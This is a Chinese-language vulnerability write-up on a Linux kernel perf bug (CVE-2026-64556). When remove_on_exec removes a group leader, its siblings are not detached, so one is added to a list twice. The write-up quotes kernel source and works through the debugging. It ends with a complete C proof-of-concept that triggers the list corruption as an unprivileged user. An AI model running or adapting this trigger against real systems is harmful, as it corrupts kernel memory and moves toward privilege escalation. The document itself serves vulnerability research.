一、漏洞简介

漏洞编号: CVE-2026-64556

漏洞产品: linux kernel - perf

利用效果: 本地提权


二、环境搭建

复现环境:qemu + linux kernel v6.12.67

环境附件: bzImage(启用DEBUG_LIST编译选项)

复现流程: qemu启动内核后,将poc编译传到vm中(或者编译好重新打包文件系统),运行即可触发double-add检测

​

三、漏洞原理

该漏洞源于 Linux 内核链表管理逻辑存在疏漏。当程序执行新程序(exec)时,perf 性能监控组件会调用perf_event_remove_on_exec移除监控事件(event)。原有代码仅移除了事件组组长(leader),却没有断开组长和组内其他监控事件(sibling)的关联。组内剩余事件继续绑定在已经失效的组长上,形成无效的事件分组。在kernel后续调度流程中,sibling被重复添加到双向链表,造成链表结构损坏,引发内核内存异常。

static void perf_group_detach(struct perf_event *event)
{
	struct perf_event *leader = event->group_leader;
	struct perf_event *sibling, *tmp;
	struct perf_event_context *ctx = event->ctx;

	lockdep_assert_held(&ctx->lock);

	/*
	 * We can have double detach due to exit/hot-unplug + close.
	 */
	if (!(event->attach_state & PERF_ATTACH_GROUP))
		return;

	event->attach_state &= ~PERF_ATTACH_GROUP;

	perf_put_aux_event(event);

	/*
	 * If this is a sibling, remove it from its group.
	 */
	if (leader != event) {
		list_del_init(&event->sibling_list);
		event->group_leader->nr_siblings--;
		event->group_leader->group_generation++;
		goto out;
	}

	/*
	 * If this was a group event with sibling events then
	 * upgrade the siblings to singleton events by adding them
	 * to whatever list we are on.
	 */
	list_for_each_entry_safe(sibling, tmp, &event->sibling_list, sibling_list) {

		/*
		 * Events that have PERF_EV_CAP_SIBLING require being part of
		 * a group and cannot exist on their own, schedule them out
		 * and move them into the ERROR state. Also see
		 * _perf_event_enable(), it will not be able to recover this
		 * ERROR state.
		 */
		if (sibling->event_caps & PERF_EV_CAP_SIBLING)
			__event_disable(sibling, ctx, PERF_EVENT_STATE_ERROR);

		sibling->group_leader = sibling;
		list_del_init(&sibling->sibling_list);

		/* Inherit group flags from the previous leader */
		sibling->group_caps = event->group_caps;

		if (sibling->attach_state & PERF_ATTACH_CONTEXT) {
			add_event_to_groups(sibling, event->ctx);

			if (sibling->state == PERF_EVENT_STATE_ACTIVE)
				list_add_tail(&sibling->active_list, get_event_list(sibling));
		}

		WARN_ON_ONCE(sibling->ctx != event->ctx);
	}

out:
	for_each_sibling_event(tmp, leader)
		perf_event__header_size(tmp);

	perf_event__header_size(leader);
}
static int merge_sched_in(struct perf_event *event, void *data)
{
	struct perf_event_context *ctx = event->ctx;
	int *can_add_hw = data;

	if (event->state <= PERF_EVENT_STATE_OFF)
		return 0;

	if (!event_filter_match(event))
		return 0;

	if (group_can_go_on(event, *can_add_hw)) {
		if (!group_sched_in(event, ctx))
			list_add_tail(&event->active_list, get_event_list(event));
	}

	if (event->state == PERF_EVENT_STATE_INACTIVE) {
		*can_add_hw = 0;
		if (event->attr.pinned) {
			perf_cgroup_event_disable(event, ctx);
			perf_event_set_state(event, PERF_EVENT_STATE_ERROR);
		} else {
			struct perf_cpu_pmu_context *cpc;

			event->pmu_ctx->rotate_necessary = 1;
			cpc = this_cpu_ptr(event->pmu_ctx->pmu->cpu_pmu_context);
			perf_mux_hrtimer_restart(cpc);
			group_update_userpage(event);
		}
	}

	return 0;
}

​

四、漏洞分析

在perf_event_remove_on_exec函数中,会调用perf_event_exit_event对设置了remove_on_exec属性的event进行操作

static void perf_event_remove_on_exec(struct perf_event_context *ctx)
{
	struct perf_event_context *clone_ctx = NULL;
	struct perf_event *event, *next;
	unsigned long flags;
	bool modified = false;

	mutex_lock(&ctx->mutex);

	if (WARN_ON_ONCE(ctx->task != current))
		goto unlock;

	list_for_each_entry_safe(event, next, &ctx->event_list, event_entry) {
		if (!event->attr.remove_on_exec)
			continue;

		if (!is_kernel_event(event))
			perf_remove_from_owner(event);

		modified = true;

		perf_event_exit_event(event, ctx);
	}

	raw_spin_lock_irqsave(&ctx->lock, flags);
	if (modified)
		clone_ctx = unclone_ctx(ctx);
	raw_spin_unlock_irqrestore(&ctx->lock, flags);

unlock:
	mutex_unlock(&ctx->mutex);

	if (clone_ctx)
		put_ctx(clone_ctx);
}

perf_event_exit_event函数的逻辑可以简单理解成,如果当前event是子event则设置DETACH_GROUP这个flags,否则就不设置(作者看了一下主线版本的代码,大差不差,原有代码中perf_event_remove_on_exec调用perf_event_exit_event是不会设置DETACH_GROUP的,导致事件组不会被解散)

static void
perf_event_exit_event(struct perf_event *event, struct perf_event_context *ctx)
{
	struct perf_event *parent_event = event->parent;
	unsigned long detach_flags = 0;

	if (parent_event) {
		/*
		 * Do not destroy the 'original' grouping; because of the
		 * context switch optimization the original events could've
		 * ended up in a random child task.
		 *
		 * If we were to destroy the original group, all group related
		 * operations would cease to function properly after this
		 * random child dies.
		 *
		 * Do destroy all inherited groups, we don't care about those
		 * and being thorough is better.
		 */
		detach_flags = DETACH_GROUP | DETACH_CHILD;
		mutex_lock(&parent_event->child_mutex);
	}

	perf_remove_from_context(event, detach_flags | DETACH_EXIT);

	/*
	 * Child events can be freed.
	 */
	if (parent_event) {
		mutex_unlock(&parent_event->child_mutex);
		/*
		 * Kick perf_poll() for is_event_hup();
		 */
		perf_event_wakeup(parent_event);
		put_event(event);
		return;
	}

	/*
	 * Parent events are governed by their filedesc, retain them.
	 */
	perf_event_wakeup(event);
}

而后续__perf_remove_from_context函数中是否调用perf_group_detach取决于有没有设置DETACH_GROUP这个flags

static void
__perf_remove_from_context(struct perf_event *event,
			   struct perf_cpu_context *cpuctx,
			   struct perf_event_context *ctx,
			   void *info)
{
	struct perf_event_pmu_context *pmu_ctx = event->pmu_ctx;
	enum perf_event_state state = PERF_EVENT_STATE_OFF;
	unsigned long flags = (unsigned long)info;

	ctx_time_update(cpuctx, ctx);

	/*
	 * Ensure event_sched_out() switches to OFF, at the very least
	 * this avoids raising perf_pending_task() at this time.
	 */
	if (flags & DETACH_EXIT)
		state = PERF_EVENT_STATE_EXIT;
	if (flags & DETACH_DEAD) {
		event->pending_disable = 1;
		state = PERF_EVENT_STATE_DEAD;
	}
	event_sched_out(event, ctx);
	perf_event_set_state(event, min(event->state, state));
	if (flags & DETACH_GROUP)
		perf_group_detach(event);
	if (flags & DETACH_CHILD)
		perf_child_detach(event);
	list_del_event(event, ctx);

	if (!pmu_ctx->nr_events) {
		pmu_ctx->rotate_necessary = 0;

		if (ctx->task && ctx->is_active) {
			struct perf_cpu_pmu_context *cpc;

			cpc = this_cpu_ptr(pmu_ctx->pmu->cpu_pmu_context);
			WARN_ON_ONCE(cpc->task_epc && cpc->task_epc != pmu_ctx);
			cpc->task_epc = NULL;
		}
	}

	if (!ctx->nr_events && ctx->is_active) {
		if (ctx == &cpuctx->ctx)
			update_cgrp_time_from_cpuctx(cpuctx, true);

		ctx->is_active = 0;
		if (ctx->task) {
			WARN_ON_ONCE(cpuctx->task_ctx != ctx);
			cpuctx->task_ctx = NULL;
		}
	}
}

perf_group_detach主要实现的功能是解除分组关系,可以简单理解为,当一个组的leader被移除时,sibling如果是active状态则晋升为leader,然后加入到pmu的active_list中

static void perf_group_detach(struct perf_event *event)
{
	struct perf_event *leader = event->group_leader;
	struct perf_event *sibling, *tmp;
	struct perf_event_context *ctx = event->ctx;

	lockdep_assert_held(&ctx->lock);

	/*
	 * We can have double detach due to exit/hot-unplug + close.
	 */
	if (!(event->attach_state & PERF_ATTACH_GROUP))
		return;

	event->attach_state &= ~PERF_ATTACH_GROUP;

	perf_put_aux_event(event);

	/*
	 * If this is a sibling, remove it from its group.
	 */
	if (leader != event) {
		list_del_init(&event->sibling_list);
		event->group_leader->nr_siblings--;
		event->group_leader->group_generation++;
		goto out;
	}

	/*
	 * If this was a group event with sibling events then
	 * upgrade the siblings to singleton events by adding them
	 * to whatever list we are on.
	 */
	list_for_each_entry_safe(sibling, tmp, &event->sibling_list, sibling_list) {

		/*
		 * Events that have PERF_EV_CAP_SIBLING require being part of
		 * a group and cannot exist on their own, schedule them out
		 * and move them into the ERROR state. Also see
		 * _perf_event_enable(), it will not be able to recover this
		 * ERROR state.
		 */
		if (sibling->event_caps & PERF_EV_CAP_SIBLING)
			__event_disable(sibling, ctx, PERF_EVENT_STATE_ERROR);

		sibling->group_leader = sibling;
		list_del_init(&sibling->sibling_list);

		/* Inherit group flags from the previous leader */
		sibling->group_caps = event->group_caps;

		if (sibling->attach_state & PERF_ATTACH_CONTEXT) {
			add_event_to_groups(sibling, event->ctx);

			if (sibling->state == PERF_EVENT_STATE_ACTIVE)
				list_add_tail(&sibling->active_list, get_event_list(sibling));
		}

		WARN_ON_ONCE(sibling->ctx != event->ctx);
	}

out:
	for_each_sibling_event(tmp, leader)
		perf_event__header_size(tmp);

	perf_event__header_size(leader);
}

也就是说,当一个leader设置remove_on_exec属性时,在执行exec时会移除它,却不会调用perf_group_detach解散分组

那么不难想到,假使leader设置了remove_on_exec属性而sibling并未设置(如果sibling也设置了该属性,kernel会修改sibling的状态,非活跃状态是不会被晋升为leader的),最终会导致leader被移除后sibling加入到pmu的active_list中。该操作会瞒天过海,最终导致再次sched_in时出现double-add(后续会细说)

​

五、漏洞复现

首先让ai生成一个基础的交互程序

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/perf_event.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sched.h>

static int perf_event_open(struct perf_event_attr *attr, pid_t pid,
                           int cpu, int group_fd, unsigned long flags)
{
    return syscall(__NR_perf_event_open, attr, pid, cpu, group_fd, flags);
}

int main(int argc, char **argv)
{
    if (argc > 2 && strcmp(argv[1], "child") == 0) {
        int leader_fd = atoi(argv[2]);
        int s1 = atoi(argv[3]);
        cpu_set_t mask;

        CPU_ZERO(&mask);
        CPU_SET(0, &mask);
        sched_setaffinity(0, sizeof(mask), &mask);
        close(leader_fd);

        for (int i = 0; i < 100; i++) {
            ioctl(s1, PERF_EVENT_IOC_ENABLE, 0);
            sched_yield();
            usleep(10);
        }

        close(s1);
        return 0;
    }

    struct perf_event_attr attr;
    memset(&attr, 0, sizeof(attr));
    attr.size = sizeof(attr);
    attr.type = PERF_TYPE_SOFTWARE;
    attr.config = PERF_COUNT_SW_CPU_CLOCK;
    attr.disabled = 1;
    attr.pinned = 0;
    attr.remove_on_exec = 1;

    pid_t target_pid = getpid();
    int leader_fd = perf_event_open(&attr, target_pid, -1, -1, 0);
    if (leader_fd < 0) {
        return 1;
    }

    attr.remove_on_exec = 0;
    attr.disabled = 0;
    int s1 = perf_event_open(&attr, target_pid, -1, leader_fd, 0);
    if (s1 < 0) {
        close(leader_fd);
        return 1;
    }

    ioctl(leader_fd, PERF_EVENT_IOC_ENABLE, PERF_IOC_FLAG_GROUP);
    fcntl(leader_fd, F_SETFD, 0);
    fcntl(s1, F_SETFD, 0);

    char s_leader[16], s_s1[16];
    sprintf(s_leader, "%d", leader_fd);
    sprintf(s_s1, "%d", s1);
    char *new_argv[] = { argv[0], "child", s_leader, s_s1, NULL };
    fflush(stdout);
    execve(argv[0], new_argv, NULL);

    return 1;
}

误区一:event的remove操作

作者一开始对该漏洞不甚了解,拷打ai给的反馈是,perf_event_remove_on_exec应该只操作leader才对?

但是在调试kernel的时候发现,event没有设置remove_on_exec属性?再检查一下发现这个event是sibling而不是leader

反复捣鼓最后发现正常情况下就是一个LIFO结构,这里并不影响

误区二:event的add操作

这个就比较迷惑了,一开始作者以为,leader和sibling都在pmu的active_list中,然后remove时删掉了leader,close时将sibling晋升为leader又将sibling链入导致的double-add

但是分析发现kernel只会将leader链入到active_list中,然后sibling链入到leader的sibling_list?

static int merge_sched_in(struct perf_event *event, void *data)
{
	struct perf_event_context *ctx = event->ctx;
	int *can_add_hw = data;

	if (event->state <= PERF_EVENT_STATE_OFF)
		return 0;

	if (!event_filter_match(event))
		return 0;

	if (group_can_go_on(event, *can_add_hw)) {
		if (!group_sched_in(event, ctx))
			list_add_tail(&event->active_list, get_event_list(event));
	}

	if (event->state == PERF_EVENT_STATE_INACTIVE) {
		*can_add_hw = 0;
		if (event->attr.pinned) {
			perf_cgroup_event_disable(event, ctx);
			perf_event_set_state(event, PERF_EVENT_STATE_ERROR);
		} else {
			struct perf_cpu_pmu_context *cpc;

			event->pmu_ctx->rotate_necessary = 1;
			cpc = this_cpu_ptr(event->pmu_ctx->pmu->cpu_pmu_context);
			perf_mux_hrtimer_restart(cpc);
			group_update_userpage(event);
		}
	}

	return 0;
}
static void perf_group_attach(struct perf_event *event)
{
	struct perf_event *group_leader = event->group_leader, *pos;

	lockdep_assert_held(&event->ctx->lock);

	/*
	 * We can have double attach due to group movement (move_group) in
	 * perf_event_open().
	 */
	if (event->attach_state & PERF_ATTACH_GROUP)
		return;

	event->attach_state |= PERF_ATTACH_GROUP;

	if (group_leader == event)
		return;

	WARN_ON_ONCE(group_leader->ctx != event->ctx);

	group_leader->group_caps &= event->event_caps;

	list_add_tail(&event->sibling_list, &group_leader->sibling_list);
	group_leader->nr_siblings++;
	group_leader->group_generation++;

	perf_event__header_size(group_leader);

	for_each_sibling_event(pos, group_leader)
		perf_event__header_size(pos);
}

那么答案只有一个:

第一次add是在perf_group_detach,第二次add是在merge_sched_in?

调试内核,发现一个很奇怪的现象,内核确实是在调用perf_group_detach之后又调用了merge_sched_in,但是此时active_list指向自身,也就是说明是空链表,为何呢?

于是作者给active_list下了一个监视断点

最终发现在调用perf_group_detach之后、merge_sched_in之前,内核调用了sched_out,该函数会将event清出active_list

作者查了一下内核调用merge_sched_in的时机,好像是切换上下文或者改变event状态才行,但无一例外的,在sched_in之前都得sched_out?而sched_out会将event从active_list中移除,这好似陷入了一个悖论,永远都无法构成double-add

最后作者找到了一种解决方法,先让子进程阻塞睡眠,主进程在关闭leader后再唤醒子进程,等待CPU调度不就触发sched_in了?

此外作者测试的时候发现普通用户执行提示没权限,最终发现设置exclude_kernel属性即可

完整poc:

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/perf_event.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sched.h>
#include <signal.h>
#include <sys/wait.h>

static int perf_event_open(struct perf_event_attr *attr, pid_t pid,
                           int cpu, int group_fd, unsigned long flags) {
    return syscall(__NR_perf_event_open, attr, pid, cpu, group_fd, flags);
}

int child_main(int pipe_read_fd) {
    char buf;
    read(pipe_read_fd, &buf, 1);
    close(pipe_read_fd);
    return 0;
}

int main(int argc, char **argv) {
    if (argc == 3 && strcmp(argv[1], "child") == 0) {
        int pipe_fd = atoi(argv[2]);
        return child_main(pipe_fd);
    }

    int pipe_fds[2];
    if (pipe(pipe_fds) < 0) {
        perror("pipe");
        return 1;
    }

    pid_t child_pid = fork();
    if (child_pid < 0) {
        perror("fork");
        return 1;
    }

    if (child_pid == 0) {
        close(pipe_fds[1]);
        raise(SIGSTOP);
        char pipe_fd_str[16];
        snprintf(pipe_fd_str, sizeof(pipe_fd_str), "%d", pipe_fds[0]);
        char *new_argv[] = { argv[0], "child", pipe_fd_str, NULL };
        execve(argv[0], new_argv, NULL);
        perror("execve");
        _exit(1);
    }

    int status;
    waitpid(child_pid, &status, WUNTRACED);
    if (!WIFSTOPPED(status)) {
        kill(child_pid, SIGKILL);
        return 1;
    }

    struct perf_event_attr attr;
    memset(&attr, 0, sizeof(attr));
    attr.size = sizeof(attr);
    attr.type = PERF_TYPE_SOFTWARE;
    attr.config = PERF_COUNT_SW_CPU_CLOCK;
    attr.disabled = 1;
    attr.remove_on_exec = 1;
    attr.exclude_kernel = 1;//必需!否则出现权限不足

    int leader_fd = perf_event_open(&attr, child_pid, -1, -1, 0);
    if (leader_fd < 0) {
        perror("perf_event_open leader");
        kill(child_pid, SIGKILL);
        return 1;
    }

    attr.remove_on_exec = 0;
    attr.disabled = 0;
    int s1_fd = perf_event_open(&attr, child_pid, -1, leader_fd, 0);
    if (s1_fd < 0) {
        perror("perf_event_open sibling");
        close(leader_fd);
        kill(child_pid, SIGKILL);
        return 1;
    }

    ioctl(leader_fd, PERF_EVENT_IOC_ENABLE, PERF_IOC_FLAG_GROUP);
    kill(child_pid, SIGCONT);
    usleep(200000);
    close(leader_fd);
    write(pipe_fds[1], "x", 1);
    waitpid(child_pid, &status, 0);
    close(s1_fd);
    close(pipe_fds[1]);
    return 0;
}